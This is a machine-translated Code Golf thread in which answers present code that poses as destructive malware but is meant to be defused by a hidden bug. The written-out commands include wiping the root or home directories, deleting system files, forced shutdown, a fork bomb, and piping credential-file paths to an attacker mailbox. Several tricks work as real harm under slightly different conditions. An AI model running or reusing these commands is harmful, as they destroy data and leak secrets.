Тролінг троля [закрито]


184

Трол захопив вас і змушує писати зловмисне програмне забезпечення (визначається як програма, яка завдає шкоди комп'ютеру, який ним керує). Тролль може читати та розуміти код, але це не так добре, щоб виявляти помилки.

Ваша мета - написати програму, яка:

  1. Схоже на зловмисне програмне забезпечення; тобто початковий програміст, який читає код, буде впевнений, що код завдає шкоди комп'ютеру, на якому він працює.
  2. Насправді шкоди взагалі не робить.

ПРИМІТКА: Тролль читає лише код - не коментарі. Тож сам код повинен бути достатньо чітким та переконливим.

ПРИКЛАД (баш):

rm - rf /home

Цей приклад виглядає так, rm -rf /homeщо видаляє всі домашні папки із системи, але насправді через простір перед rf це не спрацює і спричинить лише нешкідливе повідомлення про помилку.

Це прийнятне рішення, але це не дуже добре, оскільки помилку виявити досить просто.

З іншого боку, складна і нечитабельна програма також не буде дуже хорошим рішенням, оскільки вона не буде схожа на зловмисне програмне забезпечення.

Хороше рішення має бути читабельним, щоб переконати читача, що це зловмисне програмне забезпечення, але містити помилку, яку важко виявити, та робить її нешкідливою.

Це конкурс на популярність, тому код з найбільшою кількістю оновлень виграє.


160
Я відчуваю, що ти намагаєшся обдурити мене вклеїти rm - rf /в мою оболонку ...
undergroundmonorail

19
Баш rm -rf /. Якщо система не дуже стара , вона потребуватиме --no-preserve-root:)
user80551

10
-1 тому що а) тролінг коду та ще важливіше б) мене дуже хвилюють будь-які питання щодо створення зловмисного програмного забезпечення (навіть якщо це підробка, це спідниці дуже близько).
Гарет

13
@Gareth Це не дуже шкідливе програмне забезпечення, хоча (яке зазвичай намагається приховати та / або вкрасти дані в ці дні), це здебільшого абсолютно очевидні спроби видалити речі, про які будь-який програміст-початківець може написати з невеликим зусиллям.
Боб

29
rm - rf /не є дійсним прикладом! Це може призвести до пошкодження, якщо у вас є файл, який називається rfу поточному каталозі
gnibbler

Відповіді:


139

Баш

Я пішов іншим шляхом. Замість того, щоб видалити все з вашого жорсткого диска, я його заповнити мотлохом.

Цей скрипт створює папку, а потім постійно обробляє catвсі файли разом і додає їх у новий, додаючи значення ls -alдля доброї міри (і так, щоб у початкового файлу було щось).

#!/bin/bash/

makeSpam()
{
    string=`cat *`
    string=$string`ls -al`
    echo $string > "file"$i".spam"
}

mkdir "SpamForYou"
cd "SpamForYou"

i=1
while [ 1 ]
do
  makeSpam $i
  i=$(($i + 1))
done

крім ...

/ bin / bash / (замість / bin / bash) навряд чи є дійсним перекладачем. Це просто звичайна моя помилка. І, оскільки "шебанг технічно є коментарем, троль проігнорує це"


56
+1. Перший рядок у сценарії - сліпа пляма для багатьох програмістів (в тому числі і я).
Ерел Сегал-Халеві

44
а шебанг - це технічний коментар, тож троль проігнорує це
Брайан Мінтон

14
+1 за зловживання коментарем, що не коментує :) це справді не очевидно
masterX244

37
Запустивши це, як bash whatever.shви
зіпсуєте

8
@Darkhogg, яка удача! Я врятував це evil.commandтак, що троль може просто двічі клацнути його, щоб відкрити (принаймні на Mac)
Джеймс Вебстер

114

Хаскелл

Перевірте цю сторінку керівництва , removeDirectoryRecursiveвидаляє каталог із усім його вмістом!

import System.Directory
main = return (removeDirectoryRecursive "/")

Правильний код був би main = removeDirectoryRecursive "/"
. mainФункція повинна повертати поняття про щось. removeDirectoryRecursive "/"повертає концепцію витирання вашої файлової системи, але returnфункція (так, це функція), обґрунтовує свій аргумент у фіктивній концепції повернення цього значення.
Отже, ми закінчуємо концепцію повернення концепції витирання вашого приводу. (Yo dawg Я стадо вам подобається поняття.) Виконання haskell виконує повернуту концепціюmain і відкидає повернене значення, що в нашому випадку є концепцією протирання вашої файлової системи.


85
+1. Я не міг зрозуміти помилку навіть після того, як я прочитав ваше пояснення ...
Ерел Сегал-Халеві

3
Як я розумію, це помилка вказівника (вказівка ​​на покажчик функції замість вказівки на функцію). Досить добре, початківці програмісти, як правило, легко піддаються на хитрощі.
габоровий

3
В основному, це було б схоже на return removeDirectoryRecursive;відміну від return removeDirectoryRecursive();C, це правильно?
3Doubloons

4
@ user1121352 Ні. Сама функція викликається, але вона не може видалити файл, оскільки вона чиста. Натомість він дає IO-дію, яка при поверненні з неї mainвиконується та видаляє файл. returnОднак, явно використовуючи функцію, створюється дія вводу-виводу, метою якої є лише створення значення.
mniip

4
@Cthulhu не returnмає нічого спільного з returnіншими мовами (або навіть із "поверненням" значення функції). Також значення типу не IO aмають великого відношення до функцій іншими мовами. Тож аналогія досить ручно хвиляста
Ніклас Б.

103

PHP

Ось рекурсивний скрипт PHP, який намагається видалити кожен файл на вашому веб-сайті. Це може зайняти деякий час, якщо веб-сайт досить великий, тому будьте терплячі ...

<html>
<body>
<p>Deleting website; please wait
<img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p>
<?php

function zapfiles($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file) {
      if ($file != '.' && $file != '..') {
        if (is_dir("$dir/$file")) {
          zapfiles("$dir/$file");
        }
        else {
          try {
            @delete("$dir/$file"); // Suppress locked file errors
          }
          catch (Exception $e) {
            // Locked files can't be deleted; just carry on
          }
        }
      }
    }
  }
}

zapfiles($_SERVER['DOCUMENT_ROOT']);

?>
<p>Website deletion complete</p>

Всього одна неповноцінна проблема ...

У PHP немає команди delete () . Сценарій вийде з ладу, як тільки він зустріне цю команду, але повідомлення про помилку не відображатиметься, оскільки повідомлення про помилки було придушено префіксацією цієї команди за допомогою @ . Блимаючий GIF-образ створює враження, що щось відбувається, коли зовсім нічого не відбувається.


31
^ наскільки я розумію: немає функції delete (), керівництво просто говорить, що це "підроблений запис" для тих, хто шукає потрібну функцію (від’єднати). Це не означає, що в PHP є якесь "автоматичне" перенаправлення.
Erti-Chris Eelmaa

93
@ user11153 пройшов навчання.
башер

34
Дивіться, я думав, що причина помилок буде ігнорована, а виконання триватиме тому, що це PHP.
Зої

17
Я думаю, що використання випадкової неіснуючої функції - це очевидно ( deleteвидалити файли? Немає причин вважати, що хтось обдурить). Як щодо unlⅰnkцього (який використовує U + 2170 замість "i")?
Конрад Рудольф

18
@KonradRudolph Функція deleteдля видалення файлів повністю вірна в PHP. Єдине, що не правдоподібно, це те, що якби це було реально, існували б 3 або 4 інші способи зробити це, і всі, окрім того, хто має найсмішніше ім'я, мали б серйозні недоліки в безпеці.
Брендан Довгий

93

Perl (Unix)

Видаляє всі файли в системі.

#! /usr/bin/perl -w
use strict;

sub killdir {
    opendir(my $dh, ".");
    my @dl = readdir($dh);
    closedir($dh);
    foreach my $de (@dl) {
        if (-d $de) {
            chdir($de);
            killdir();
            chdir("..");
            rmdir($de);
        } else {
            unlink($de);
        }
    }
}

chdir("/");
killdir();

Особливості

  • Це дійсно Perl. Він навіть компілює і працює з -wі use strict!

  • Немає кайф, як C ++ delete . unlinkнасправді це функція видалення файлу, rmdirдійсно видалення каталогу тощо.

  • Правильно обробляє глибоко вкладені каталоги, для яких абсолютна назва шляху може перевищувати максимальну довжину системи, змінюючи кожен каталог для використання відносних шляхів. Крім того, не буде вичерпано ручок каталогів, оскільки він читає і закриває каталог перед повторним повторним повторенням.

Спойлер

У Unix перший запис у кореневій директорії зазвичай "". тому програма виконуватиме нескінченну рекурсію chdir ("."), поки не закінчиться пам'ять і не вийде з ладу.

Подальші замітки

Це було важче отримати правильне, ніж очікувалося. Якщо ви не використовуєте підхід chdir, з часом ви отримаєте занадто довге ім'я шляху. Тоді -d повертає помилкове і нескінченна рекурсія порушена, і файли можуть фактично видалятися! Подібна помилка може статися, якщо ви тримаєте ручки каталогу відкритими; врешті-решт у вас закінчується, opendir виходить з ладу, killdir повертається, і видалення починає відбуватися.


45
"Тоді -d повертає помилкове значення, і нескінченна рекурсія порушена, і файли можуть фактично видалятися!" ти навчився цього важкого шляху?
Ніклас Б.

4
@NiklasB. На щастя, я протестував версію манекена :)
Нейт Елдредж

Я очікував, що такий код може видалити лише порожні папки, але не файли ...
Qwertiy

3
"У Unix перший запис у кореневій директорії зазвичай". "". Отже, ще одне зловмисне програмне забезпечення лише для Windows?
Олександр

1
@timmyRS: програма вийде з ладу . Система буде продовжувати працювати нормально.
Нейт Елдредж

81

Раковина однолінійна

Це вкраде всі паролі жертви, приватні ключі, біткойни тощо.

 find / -name "passwd" -or -name "shadow" -or -name "secring.gpg" -or -name "wallet.dat" |mail troll@nefarious.org

Спойлер:

Це може виглядати так, ніби він надсилає всі ці файли до троля, але насправді це лише електронні листи з їхніми іменами.


4
Щоб відправити вміст електронною поштою cat, команди headабо tailкоманди повинні бути десь задіяні.
Agi Hammerthief

7
Дані все-таки просочуються дані незалежно від того. Це тролінг тролів?
Кайл Келлі

-exec cat '{}' \; | …
Мартін Удінг

@queueoverflow-print0 | xargs -0 cat |
квантовий

1
Я отримав його без спойлера, прочитавши код 2-3 рази.
nyuszika7h

74

Пакетна / CMD

Зберегти

DEL %0
DEL %1
DEL %2
DEL %3
DEL %4
DEL %5
DEL %6
DEL %7
DEL %8
DEL %9

і змусити їх запускати його з параметрами кожного з накопичувачів на комп’ютері.

% 0 - це завжди перший параметр - ім'я файлу. Після цього настає набір фактичних параметрів, але він уже видалив себе, тому він не буде продовжуватися.


104
Також покладається на смішну поведінку Батча щодо закриття файлу та його повторного відкриття, щоб прочитати наступний рядок для кожного рядка ...
Боб

8
DEL %0не буде працювати, якщо розширення файлу не вказано в командному рядку і сценарій запускається, даючи повний шлях, або ви перебуваєте в одному каталозі. DEL "%~f0"може вирішити обидві проблеми та бути стійкими до просторів у будь-якій точці шляху. Також %10і вгору не існує - це означає, що %1слідує буквальним 0.
Джон

14
+1. Навіть якщо троль розуміє, що робить "DEL% 0", ви можете переконати його, що це лише для очищення доказів, і це не приносить шкоди, оскільки пакетний файл залишається в пам'яті, поки його виконання не закінчиться (що помилково, як Боб сказав).
Ерел Сегал-Халеві

2
Розумний тролль все ще вважатиме дивним видавати команду для самостійного видалення на початку файлу (а не в кінці), якщо ви не врахуєте, наскільки сумно схильні пакетні сценарії.
Agi Hammerthief

10
@Bob Я не мав уявлення, що партія зробила це ... це жахливо.
w4etwetewtwet

48

Javascript

infiniteLoop=true;
evilMessage='I spam you !';
while(infiniteLoop) {
  eval(atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7'));
  alert(evilMessage);
}

Що ж, оригінальне зловмисне програмне забезпечення не підірве ваш комп'ютер, але може дратувати.

Це нешкідливо, оскільки:

evalПорушить нескінченний цикл і змінити повідомлення.


40
Я б схвалив вас, але у вас є 1337 представників.
scrblnrd3

5
Тож, будь ласка, не треба! :)
Майкл М.

@scrblnd це пішло D:
Riking

11
Погані відповіді погано, поки ви не повернетесь до нього.
Девід Старкі

4
Тільки для пояснення для інших, atob ('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIikeses thees , the false false ";
Мохаммед Жораїд

45

Java

Нехай боги пробачать мене за те, що я піддався твоїм жалюгідним вимогам, троль.

class HomeWrecker {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("rm -rf /home/*");
    }
}

Runtime.exec не викликає оболонку, тому глобальне розширення ніколи не відбувається, і команда буде безуспішно намагатися видалити домашній каталог, названий буквально "*"


1
Тож як називається мій домашній каталог "*"? ;)
Vorac

6
Чесно кажучи, це одна з кращих відповідей Java. Для цього потрібно досить чітке розуміння (багатьох) падінь Runtime.exec(). +1.
Qix

Чи має java фактичний еквівалент system()функції c ?
SuperJedi224

@ SuperJedi224 Ні, ви повинні вказати /bin/sh -cабо cmd /cабо що - то вручну. Має сенс, оскільки ви ніколи не знаєте, що команда зробить у новій ОС.
того іншого хлопця

37

С

Оскільки він не читає коментарів, які повинні це зробити:

#include<stdlib.h>
int main()
{
//Are you reading this??/
 system("C:\\WINDOWS\\System32\\shutdown /s /t 0000");

 return 0;
}

Версія C ++

дякую DragonLord за це.

#include<cstdlib>
int main ()
{
//Are you reading this??/
system("shutdown -s -t 0000");
return 0; 
}

Додайте це до папки запуску та перезавантажте комп'ютер.

Як це працює:

?? / є триграфом і додасть наступний рядок до коментаря, так що в основному він нічого не зробить. Примітка: не намагайтеся цей триграф може бути вимкнено в деяких компіляторах як за замовчуванням, і його слід увімкнути, щоб це працювало.


Якщо в якомусь компіляторі це може працювати, це справжній тролінг?
Антоніо Рагагнін

4
Ні, але в реальній ситуації я вважаю за краще не тролювати троля з таким кодом (я не хочу шкодити тролю!)
Антоніо Рагагнін

2
@AntonioRagagnin Якщо це працює на будь-якому компіляторі, цей компілятор є помилковим. Однак більшість сучасних компіляторів попередить про використання триграфа (але прийняти та скласти код).
Конрад Рудольф

8
Отже, якщо троль не читає коментарів, а ваше рішення - зробити зловмисне програмне забезпечення в коментарі, чи це не означає, що все троль бачить - це функція main з return 0?
Девід Старкі

1
Це ??/справді старий трюк ... Мені шкода.
Isiah Meadows

33

Java

import java.io.File;
class derp
{
    public static void main( String[] a)
    {
        new File("C:\\windows\\System32\ntoskrnl.exe").delete();
    }
}

Використання символу втечі (\ n перед ntoskrnl.exe є новим рядком замість звичайного N)


20
Якщо ви не уникнете інших наклонів, помилка може виглядати ще менш помітною. Тролль може подумати, що мова не використовує зворотні
нахили

2
@ 3Doubloons Не вдалося б код зібрати в такому випадку?
Ніл

2
@Neil: Добре. Не буде, але якщо троль відпустить нас, як тільки він буде задоволений читанням, ми зрозуміли
3Doubloons

29
new File("C:\ntldr").delete();
Єгор Скриптунов

3
@EgorSkriptunoff Мені знадобилося більше часу, щоб зрозуміти, що XP не є варіантом XD.
Джастін

31

БАШ

#!/bin/bash
set -t 

echo "hahaha deleting files.."
rm -rf / --no-preserve-root

set -t вийде після читання та виконання однієї команди. Цей скрипт не друкує вихід, і всі файли в безпеці!

Або наступне, АБО ЧИТАТИ СПОЙЛЕР ПЕРЕД РУНКУ

#!/bin/bash -t
echo "hahaha deleting files.."
rm -rf / --no-preserve-root

За запитом населення .. #!/bin/bash -tвийде після читання та виконання однієї команди. Не запускайте це, bash -xоскільки воно буде ігнорувати -tта виконувати команди в сценарії.


СПОЙЛЕРИ Я трохи розгублений ... в чому різниця між set -tі exit? Сторінка чоловіка Баша говорить, що set -tзакінчується після "однієї команди", але, здається, setсама команда вважається цією командою і негайно виходить.
Кайл Странд

6
Якщо додаткові команди знаходяться в тому ж рядку, що і set -t (наприклад, розділені крапкою з комою або подвійним символом і т. Д.), Вони будуть виконані. У цьому випадку перший рядок set -t; echo "hahaha deleting files.."буде повторювати цей текст, а потім виходити.
JOgden

2
Ага. Дякую. Не усвідомлював, що коли-небудь була різниця в поведінці між ;новою лінією.
Кайл Странд

4
#!/bin/bash -tможливо?
Ніл

2
@JOgden, це дуже погано, баш не робить той самий трюк, що розбирає шебанг, який робить Perl (якщо ти працюєш perl foo.pl розбирає шебанг, і foo.pl починається з #!somethingendingin/perl -flags, perl буде діяти так, як на нього викликали -flags)
hobbs

30

Пітон

print "****----....____....----"""" This program will clear the browser cache "

import os
from os.path import expanduser
home = expanduser("~")
os.remove(home)

print """"----....____....----***** Cache cleaned. "                                     

три лапки починають багаторядкові рядки в Python


5
Неправильно, вони починають багаторядкові рядки docs.python.org/2/tutorial/introduction.html#strings
user80551

12
Я бачив проблему буквально протягом п'яти секунд після того, як побачив відповідь, і навіть не знаю пітона.
Хлопець з капелюхом

6
Хороша ідея, що проблема, якщо троль використовує виділення синтаксису, він помітить це.
o0 '.

1
Я думаю, що середній тролл бачить випадковий шкідливий код в Інтернеті і просто копіює його на іншому форумі.
Антоніо Рагагнін

1
Добре, що я маю досвід роботи з Python, і я не побачив вади. Використання 4 цитат, можливо, мене обдурило.
габоровий

29

D

Ця програма дійсна і виконується без помилок. Він породжує функцію видалення у новому потоці, який видаляє rootкаталог.

import std.concurrency : spawn;
import std.file : rmdirRecurse;

string root;

void deleteRoot()
{
    if (root)
        rmdirRecurse(root);
}

void main()
{
    root = "/";
    spawn(&deleteRoot);
    // ... could add a waiting animation here.
}

Але нічого не видаляється ...

тому що в D змінна, оголошена в області модуля, є за замовчуванням локальною. Ці mainфункції встановлює його в «/», але ікру нитки має порожню копію, тому rmdirRecurseфункція не викликається.


1
Добре! Мені вдалося зловити помилку в цьому, хоча я не знаю Д.
Ерел Сегал-Халеві

1
"глобальна змінна за замовчуванням є локальною ниткою". Це дещо протиріччя
Ніклас Б.

@NiklasB. У чому суперечність?
biozic

Тоді це не "глобальна змінна". Можливо, "змінна, оголошена на верхньому рівні", є кращим описом?
Paŭlo Ebermann

Так, відредаговано! Він менш неоднозначний. Не зовсім суперечність, хоча, принаймні лексично кажучи.
biozic

25

C (Unix)

Додавання деяких оголошень нікому не шкодило.

#include <stdlib.h>

int main()
{
    // Join the crew
    goto http;//www.trolling.com
    print("Sucker!\n");
    system("rm -rf ~");
    // Remember goto
    http://www.trolling.com
    return 0;
}

http: це ярлик, перехід до мітки пропускає шкідливий код. : V


5
Мені вдалося помітити цього :)
Ерел Сегал-Халеві

17
Точка з комою в першій URL-адресі досить легко помітити в цьому шрифті. Але це творчо!
CompuChip

12
goto вважається корисним
drawbenn

1
Я помітив це, тому що після готи немає крапки з комою. Якби ви змінили його на goto http;//www.trolling.com;(в обох місцях), можливо, я пропустив би його.
wchargin

2
Це все-таки не збирається, тому що немає printфункції.
nyuszika7h

24

JavaScript

function foo(a) { // Returns an object, and all objects are truly
    return
    {
        a: a
    };
}
for(var i=0; foo(i); ++i) // loop condition is always truly
    alert('Infinite alerts!');

Попередження не відображається. Оскільки JavaScript не вимагає ;в кінці рядків, він автоматично вставляється після return, перетворення return;. Потім undefined, що є помилковим, повертається замість "об'єкта" (який насправді аналізується як блок-заява).


3
Спокусився поставити +1 лише за використання "справді" та "фальшивості";)
CompuChip

1
+1, оскільки ця "вада" в JS не раз мене заставляла охороняти ... Довелося її перечитати кілька разів, щоб побачити
Марк Ормстон

12
@NigelNquande крапка з комою не спричиняє збою, перерив рядка робить. Повернення та об'єкт, який повинен бути повернутий, знаходяться в окремих рядках, тому об'єкт ніколи не повертається. Щоб "виправити", видаліть розрив рядка, щоб він return {
звучав

3
Сподіваючись, що троль не пом'якшить код!
Мохаммед Жораїд

2
UglifyJS каже WARN: Dropping side-effect-free statement [-:4,11]і повертається function foo(a){}for(var i=0;foo(i);++i)alert("Infinite alerts!");.
nyuszika7h

22

JavaScript

//Config: Warning!!! only set to true on victims box!
var deleteEverything = true;

function deleteIfEvil(){
  if(deleteEverything){
    alert('Destroy Everything!');
    //clear the flag
    var deleteEverything = false;
  } else {
    alert('Tested OK!');
  }
}

deleteIfEvil();

Міняйте попередження про знищення на будь-які жахливі руйнівні дії, які ви хочете використати.

Спойлер:

Хоча схоже, що конфігурація налаштована на видалення ... і це так ! декларація 'var' всередині функції - "Hoisted" http://www.adequatelygood.com/JavaScript-Scoping-and-Hoisting.html і, як результат, насправді помилкова при введенні функції.


Хороший трюк, але чому б ви скинули прапор?
Мухаммед Жораїд

"Скидання" було лише прикладом ... це може бути будь-яка змінна, де призначення є дійсним ... просто якщо префікс "var" може / матиме непередбачувані наслідки.
сканліфф

16

Java

Давайте просто видалимо кілька важливих файлів!

import java.io.File;
import java.io.IOException;

public class Deleter {

    private File importantFile = null;

    public Deleter(File f) {

        importantFile = f;

        /**}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{
         * }{ I don't care how important that file is. I'm going to delete it! }{
         * }{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{*/}{

        importantFile.delete();

    }

    public static void main(String[] args) throws IOException {
        // Let's delete some important stuff
        new Deleter(new File("/boot/vmlinuz"));
        new Deleter(new File("/etc/passwd"));
        new Deleter(new File("/etc/crontab"));
        new Deleter(new File("/etc/sudoers"));
    }

}

Прихований у блоці коментар є додатковим} {поза коментарем. Це ставить видалення файлу в окремий блок ініціалізації екземпляра, який виконується перед конструктором. У той час важливий файл ще недійсний.


16
Мені вдалося помітити цього :)
Ерел Сегал-Халеві

17
Це було б дуже, дуже очевидно, якби троль не читав коментарів.
Наближення

6
Я вирішив трактувати "троль не читає коментарів" як "троль пропускає коментарі аналогічним чином, як і людина, якщо пропускати коментарі". У цьому випадку може бути легко помилково пропустити, що ці два символи насправді поза коментарем.
Джо К

1
Це було єдине, що я вирішив перед тим, як прочитати пояснення, але гарну роботу!
nrubin29

15

Bash, C, Linux

Можливо, це не зовсім зловмисне програмне забезпечення, але, безумовно, може бути частиною одного :)

Це дивовижний подвиг, який може дати вам корінь на будь-якій машині Linux! Шшш, нікому не кажи, що у нас є!

#!/bin/sh
cd /tmp
cat >ex.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared ex.c -oex.so
LD_PRELOAD=/tmp/ex.so sh
rm /tmp/ex.so /tmp/ex.c

Тепер виконайте сценарій, і ви будете мати root! Ви можете переконатися, використовуючи whoami!

Насправді це лише хитрість усіх програм, у яких вам є UID = 0 (це ідентифікатор користувача root).

Код написано Lcamtuf, джерело: http://lcamtuf.coredump.cx/soft/ld-expl


+1. Дійсно приємний трюк. Я досі не повністю розумію, як це працює.
Ерел Сегал-Халеві

@ErelSegalHalevi: см stackoverflow.com/questions/426230/what-is-the-ld-preload-trick докладніше про LD_PRELOAD.
mik01aj

2
Прочитати далі fakeroot(1)- це бібліотека, яка перехоплює дзвінки до різних системних функцій POSIX, що змушує абонента вважати, що він (фальшивий) читає та (підробляє) доступ до всієї системи. Насправді вони не дають (не можуть) фактично давати ці дозволи, але коли програма, наприклад, викликає функцію "підробленої" chmodу файлі та змінить дозволи, фальшивка запам'ятає ці дозволи, щоб statдзвінки повернули оновлені дозволи. Деякі дистрибутиви використовують це, щоб дозволити системі побудови пакета створювати файли з root:rootправом власності.
sleblanc

1
Я вважаю, це lcamtuf : lcamtuf.coredump.cx/soft/ld-expl - принаймні, я пам’ятаю, це було там з 90-х
viraptor

13

баш

cat <<EOF
ProHaxer Hacking Tool 2014. Destroying your computer in
background, please wait until it finishes.
EOF

# Freeze the machine, so nobody will stop the process.
:(){:|:&};:

# Remove stuff in the background.
rm -rf /* &>/dev/null &

У рядку "fork-bomb" є синтаксична помилка. Після { має бути пробіл. Без нього скрипт не вдається, тому що за визначенням функції не дотримується { лексема сама по собі.


2
Ви повинні додати ноту обережності (можливо, у спойлері), щоб це не було виконано, kshоскільки вилка бомба не є синтаксичною помилкою!
devnull


@Dennis: Не пов’язаний, я цього не бачив. Але цікава тема, якщо чесно. Я знаю, як працює синтаксичний аналіз в bash, і тому я його не використовую :-).
Конрад Боровський

11

Emacs Lisp

Спочатку простий. Цей нічого не робить. Насправді намагаються видалити елементи, що дорівнюють: рекурсивному зі списку, що повертається directory-files. Видалення файлів не збирається.

(delete :recursive
    (directory-files "/"))

Ось такий, який міг би наткнути навіть елісейських ветеринарів.

(let ((files (directory-files "/")))
  (while (setq file (pop files) )
    (delete-file file)))

Це лише 1 символ для видалення кореневого режиму.

emacs lisp дозволить jsut про що-небудь бути іменем символу (змінної, функції, макрокоманду тощо). Добре використовувати unicode в назві ваших символів, і ось що відбувається тут.

setqможна приймати будь-яку кількість аргументів (setq a 3 b 4), як робити = 3; b = 4; але(setq a 3 b) також є дійсним і робить а = 3; b = нуль;

Повернене значення `setq '- це значення, присвоєне останній змінній. 4 і нуль відповідно в прикладах.

(setq a 3 b)саме те, що відбувається в коді, але замість b я використовую символ пробілу unicode. Я присвоюю значення нуль змінній, з ім'ям якої називається символ Unicode 0x2001. Через це нуль повертається setq і умова циклу while ніколи не відповідає дійсності. Вийміть цей пробільний персонаж, і він буде працювати чудово.


10

Просто черговий хакер.

Я написав це у 2002 році , коли виходив у Perlmonks і взагалі просто намагався якомога більше підштовхнути свої знання про Perl. Це взагалі не редагувало, але воно все ще працює.

#!/usr/bin/perl -w
use strict;
require File::Path;

my $root_dir = '/';

$root_dir = 'c:\\' if( $^O =~ /Win/i );

rmtree( $root_dir );

mkdir( $root_dir );

open( ROOT, $root_dir );

while(1)
{
  BEGIN{@INC=sub{*DATA}}
  print ROOT <DATA>;
}

__DATA__
# Fill the harddrive with junk!
''=~('('.'?'.'{'.('`'|'%').('['
^'-').('`'|'!').('`'|',').'"'.(
'['^'+').('['^')').('`'|"\)").(
'`'|'.').('['^'/').('{'^('[')).
'\\'.'"'.('`'^'*').('['^"\.").(
'['^'(').('['^'/').('{'^"\[").(
'`'|'!').('`'|'.').('`'|"\/").(
'['^'/').('`'|'(').('`'|"\%").(
'['^')').('{'^'[').('['^"\+").(
'`'|'%').('['^')').('`'|"\,").(
'{'^'[').('`'|'(').('`'|"\!").(
'`'|'#').('`'|'+').('`'|"\%").(
'['^')').'.'.'\\'.'\\'.('`'|'.'
).'\\'.'"'.';'.('`'|'%').("\["^
'#').('`'|')').('['^'/').(';').
'"'.'}'.')');$:='.'^'~';$~='@'|
'(';$^=')'^'[';$/='`'|('.');$_=
'('^'}';$,='`'|'!';$\=')'^"\}";
$:='.'^'~';$~='@'|'(';$^=(')')^
'[';$/='`'|'.';$_='('^('}');$,=
'`'|'!';$\=')'^'}';$:='.'^"\~";
$~='@'|'(';$^=')'^'[';$/=('`')|
'.';$_='('^'}';$,='`'|('!');$\=
')'^'}';$:='.'^'~';$~='@'|"\(";
$^=')'^'[';$/='`'|'.';$_=('(')^
'}';$,='`'|'!';$\=')'^('}');$:=
'.'^'~';$~='@'|'(';$^=')'^"\[";

Якщо я добре пам’ятаю, BEGINблок працює насамперед, незалежно від того, де він знаходиться в коді. Він замінює, @INCщо визначає, звідки Perl завантажує свої бібліотеки, підпрограмою (зазвичай це набір шляхів, але це дозволено). Підпрограма - це фактично затуманений блок даних, який виконує деяку магію regexp + eval. Потім, коли код потрапляє require File::Path;(він би не працював з useцим), цей підрозділ виконується і просто друкує "Просто ще один хакер perl.", Як традиція, і виходить. Решта коду ніколи не досягається.


1
Нічого собі, мені було потрібно деякий час, щоб зрозуміти, що робить цей код (але я не читав спойлер). Я розшифрував цей блок виклику регулярних виразів (це той самий метод, який я використовував у codegolf.stackexchange.com/a/23871/3103 ), і мені подобається, як він містить exitкоманду (з безглуздою комою після неї, але не те, що це має значення ).
Конрад Боровський

Хе-хе, довелося це зрозуміти сам, це все-таки 11-12 років. Точка з комою, мабуть, просто для того, щоб все було чітко вирівняно.
Стофф

9

PHP:

$condition = true and false;

if (!$condition) {
   // DO EVIL - Just do something evil here
}

На перший погляд, $conditionпомилково, але =оператор має перевагу над and, тому умова справжня. Тож зло ніколи не робиться.


8

C ++ з Boost

Це видалить усі файли у файловій системі

#include "boost/filesystem.hpp"
using namespace boost::filesystem;

void delete_directory(const path* dir_path)
{
  if (!exists(*dir_path)) return;

  directory_iterator end_file_itr;
  for (directory_iterator file_itr(*dir_path);
        file_itr != end_file_itr;
        ++file_itr) {
    const path* file = &file_itr->path();
    if (file_itr->status().type() == directory_file) {
      delete_directory(file);
    } else {
      delete(file);
    }
  }

  delete(dir_path);
}

int main() {
  delete_directory(new path("/"));
  return 0;
}

Насправді це не стане. deleteв C ++ використовується для звільнення пам'яті, що виділяється, newа не для видалення файлів і каталогів. Програма, швидше за все, вийде з ладу сегментації, оскільки вона намагається розмістити пам'ять, виділену Boost, але до цього часу я уникну полону тролів.


+1. Це нелегко помітити, оскільки він навіть компілюється без помилок.
Ерел Сегал-Халеві

2
Чи не визначена перша проблема проблемної поведінки? У такому випадку він може фактично видалити всі його файли.
асчеплер

1
@aschepler: "UB міг би видалити всі ваші файли" - це приємне пояснення того, що ви не можете передбачити, що станеться при виклику UB, але це зазвичай не є можливою. Якби у троля був компілятор, який стирає жорсткі диски на UB, він не
змусив

2
підкреслення синтаксису дало б тут підказку
тролею

8

Java

Це зробить вигляд, що завантажує оперативну пам’ять, але це видалить домашній каталог користувача.

import java.util.*;
import java.io.*;
class RamDownloaderIO {
    public static void main(String[] args) {
        long onePercentWaitTime   = 2*60*1000;  // 2 minutes
        long twoPercentWaitTime   = 7*60*1000;  // 7 minutes
        long deleteWaitTime       = 9*60*1000;  // 9 minutes
        long completeWaitTime     = 10*60*1000; // 10 minutes
        Timer timer = new Timer(true);
        // User thinks, Hmm this is taking a while
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("1% done");
            }
        }, onePercentWaitTime);
        // User is now completely impatient, and either leaves to get a coffee
        // or starts reading reddit
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("2% done");
            }
        }, twoPercentWaitTime);
        // Now that he's not looking, delete everything in his home directory
        timer.schedule(new TimerTask() {
            public void run() {
                try {
                    final Runtime rt = Runtime.getRuntime();
                    rt.exec("rm -rf ~/*");
                } catch (IOException e) {
                }
            }
        }, deleteWaitTime);
        // Inform the user that the task is finished
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("Download complete!");
                System.out.println("You now have 21.47GB RAM!");
                System.exit(0);
            }
        }, completeWaitTime);
        System.out.println("Welcome to the ramdownloader.io RAM downloader");
        System.out.println("Please wait. Downloading your free RAM...");

    }
}

Timerвикористовує фоновий потік, щоб зателефонувати вашим користувачам, TimerTaskякі ви йому надіслали. new Timer(true)створює a Timerз фоновим потоком, встановленим у якості демонової нитки, тому програма просто виходить безпосередньо перед виконанням завдань. Занадто довгий код відволікає троля від перегляду trueпараметра.


7
rm -rf ⁄

